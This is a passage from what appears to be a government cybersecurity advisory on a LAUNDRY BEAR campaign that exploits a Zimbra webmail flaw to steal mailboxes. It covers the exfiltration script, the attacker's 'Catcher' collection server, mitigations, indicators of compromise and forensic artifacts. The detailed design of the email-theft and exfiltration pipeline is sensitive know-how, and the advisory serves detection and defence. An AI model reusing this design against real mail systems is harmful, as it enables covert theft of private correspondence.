<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
